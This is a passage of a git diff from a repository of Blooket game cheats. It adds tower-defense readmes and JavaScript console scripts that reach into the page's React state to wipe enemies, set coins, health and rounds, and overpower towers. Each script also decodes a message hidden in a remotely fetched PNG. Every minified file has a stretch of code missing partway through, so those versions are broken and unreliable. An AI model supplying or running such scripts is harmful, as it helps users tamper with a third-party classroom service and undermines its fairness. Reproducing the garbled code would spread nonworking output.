of coins you have + +## [Set Health](setDmg.js) +Sets amount of health you have + +## [Set Round](setRound.js) +Sets the current round \ No newline at end of file diff --git a/cheats/tower-defense-2/removeEnemies.js b/cheats/tower-defense-2/removeEnemies.js new file mode 100644 index 0000000..71ade76 --- /dev/null +++ b/cheats/tower-defense-2/removeEnemies.js @@ -0,0 +1,40 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.game.scene.enemyQueue.length = 0; + stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/removeEnemies.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272558 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/removeEnemies.min.js b/cheats/tower-defense-2/removeEnemies.min.js new file mode 100644 index 0000000..c983d6b --- /dev/null +++ b/cheats/tower-defense-2/removeEnemies.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tremoveEnemies.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.state.game.scene.enemyQueue.length=0,e.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/removeEnemies.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setCoins.js b/cheats/tower-defense-2/setCoins.js new file mode 100644 index 0000000..5d47303 --- /dev/null +++ b/cheats/tower-defense-2/setCoins.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ coins: Number(parseInt(prompt("How many tokens would you like?"))) }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setCoins.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272562 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setCoins.min.js b/cheats/tower-defense-2/setCoins.min.js new file mode 100644 index 0000000..d3c61b5 --- /dev/null +++ b/cheats/tower-defense-2/setCoins.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetCoins.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({coins:Number(parseInt(prompt("How many tokens would you like?")))})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setCoins.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setHealth.js b/cheats/tower-defense-2/setHealth.js new file mode 100644 index 0000000..875ba41 --- /dev/null +++ b/cheats/tower-defense-2/setHealth.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ health: Number(parseInt(prompt("How much health do you want?"))) }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setHealth.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272565 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setHealth.min.js b/cheats/tower-defense-2/setHealth.min.js new file mode 100644 index 0000000..345441c --- /dev/null +++ b/cheats/tower-defense-2/setHealth.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetHealth.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({health:Number(parseInt(prompt("How much health do you want?")))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setHealth.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setRound.js b/cheats/tower-defense-2/setRound.js new file mode 100644 index 0000000..d9ddbd9 --- /dev/null +++ b/cheats/tower-defense-2/setRound.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setRound.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272584 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense-2/setRound.min.js b/cheats/tower-defense-2/setRound.min.js new file mode 100644 index 0000000..903af34 --- /dev/null +++ b/cheats/tower-defense-2/setRound.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetRound.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:Number(parseInt(prompt("What round do you want to set to?")))})};let d=new Image;d.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense-2/setRound.png?"+Date.now(),d.crossOrigin="Anonymous",d.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(d,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(d.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/earthquake.js b/cheats/tower-defense/earthquake.js new file mode 100644 index 0000000..7e5c98d --- /dev/null +++ b/cheats/tower-defense/earthquake.js @@ -0,0 +1,57 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + eventName: "Earthquake", + event: { + short: "e", + color: "#805500", + icon: "fas fa-mountain", + desc: "All of your towers get mixed up", + rate: .02 + }, + buyTowerName: "", + buyTower: {} + }, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3)); + stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0))); + let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random()); + stateNode.towers.forEach(tower => { + let { x, y } = tiles.shift(); + tower.move(x, y, stateNode.tileSize); + stateNode.tiles[y][x] = 3; + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/earthquake.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272499 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/earthquake.min.js b/cheats/tower-defense/earthquake.min.js new file mode 100644 index 0000000..988c225 --- /dev/null +++ b/cheats/tower-defense/earthquake.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tearthquake.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{let a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],n=(a.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},()=>a.eventTimeout=setTimeout(()=>a.setState({event:{},eventName:""}),6e3)),a.tiles.forEach(o=>o.forEach((e,t)=>3===e&&(o[t]=0))),a.tiles.flatMap((e,o)=>e.map((e,t)=>0===e&&{x:t,y:o})).filter(Boolean).sort(()=>.5-Math.random()));a.towers.forEach(e=>{var{x:t,y:o}=n.shift();e.move(t,o,a.tileSize),a.tiles[o][t]=3})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/earthquake.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(l.src=null,c())})(); \ No newline at end of file diff --git a/cheats/tower-defense/maxTowers.js b/cheats/tower-defense/maxTowers.js new file mode 100644 index 0000000..ecf1cfe --- /dev/null +++ b/cheats/tower-defense/maxTowers.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.towers.forEach(tower => { + tower.range = 100; + tower.fullCd = tower.cd = 0; + tower.damage = 1e6; + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/maxTowers.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272513 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/maxTowers.min.js b/cheats/tower-defense/maxTowers.min.js new file mode 100644 index 0000000..9ebaac6 --- /dev/null +++ b/cheats/tower-defense/maxTowers.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tmaxTowers.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.towers.forEach(e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/maxTowers.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/readme.md b/cheats/tower-defense/readme.md new file mode 100644 index 0000000..dff32b9 --- /dev/null +++ b/cheats/tower-defense/readme.md @@ -0,0 +1,25 @@ +# Tower Defense Cheats + +## [Earthquake](earthquake.js) +Shuffles around towers + +## [Max Towers](maxTowers.js) +Makes all your towers op + +## [Remove Ducks](removeDucks.js) +Removes ducks + +## [Remove Enemies](removeEnemies.js) +Removes all the enemies + +## [Place Towers Anywhere](removeObsticles.js) +Lets you place towers anywhere on the map + +## [Set Damage](setDmg.js) +Sets amount of damage you have + +## [Set Round](setRound.js) +Sets the current round + +## [Set Tokens](setTokens.js) +Sets amount of tokens you have \ No newline at end of file diff --git a/cheats/tower-defense/removeDucks.js b/cheats/tower-defense/removeDucks.js new file mode 100644 index 0000000..4311e15 --- /dev/null +++ b/cheats/tower-defense/removeDucks.js @@ -0,0 +1,40 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode: { ducks, tiles } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + ducks.forEach(x => { tiles[x.y][x.x] = 0; }); + ducks.length = 0; + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeDucks.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272516 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/removeDucks.min.js b/cheats/tower-defense/removeDucks.min.js new file mode 100644 index 0000000..213b16e --- /dev/null +++ b/cheats/tower-defense/removeDucks.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let a=document.querySelector("iframe");a.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tremoveDucks.js","color: #0bc2cf; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{let{ducks:e,tiles:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.forEach(e=>{t[e.y][e.x]=0}),e.length=0};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeDucks.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/removeEnemies.js b/cheats/tower-defense/removeEnemies.js new file mode 100644 index 0000000..a6005a4 --- /dev/null +++ b/cheats/tower-defense/removeEnemies.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.enemies = stateNode.futureEnemies = []; + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeEnemies.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272524 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/removeEnemies.min.js b/cheats/tower-defense/removeEnemies.min.js new file mode 100644 index 0000000..1ef9a21 --- /dev/null +++ b/cheats/tower-defense/removeEnemies.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tremoveEnemies.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.enemies=e.futureEnemies=[]};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeEnemies.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/tower-defense/removeObsticles.js b/cheats/tower-defense/removeObsticles.js new file mode 100644 index 0000000..42caf76 --- /dev/null +++ b/cheats/tower-defense/removeObsticles.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.tiles = stateNode.tiles.map(row => row.fill(0)); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/tower-defense/removeObsticles.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272528 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/tower-defense/removeObsticles.min.js b/cheats/tower-defense/removeObsticles.min.js new file mode 100644 index 0000000..28ff269 --- /dev/null +++ b/cheats/tower-defense/removeObsticles.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on 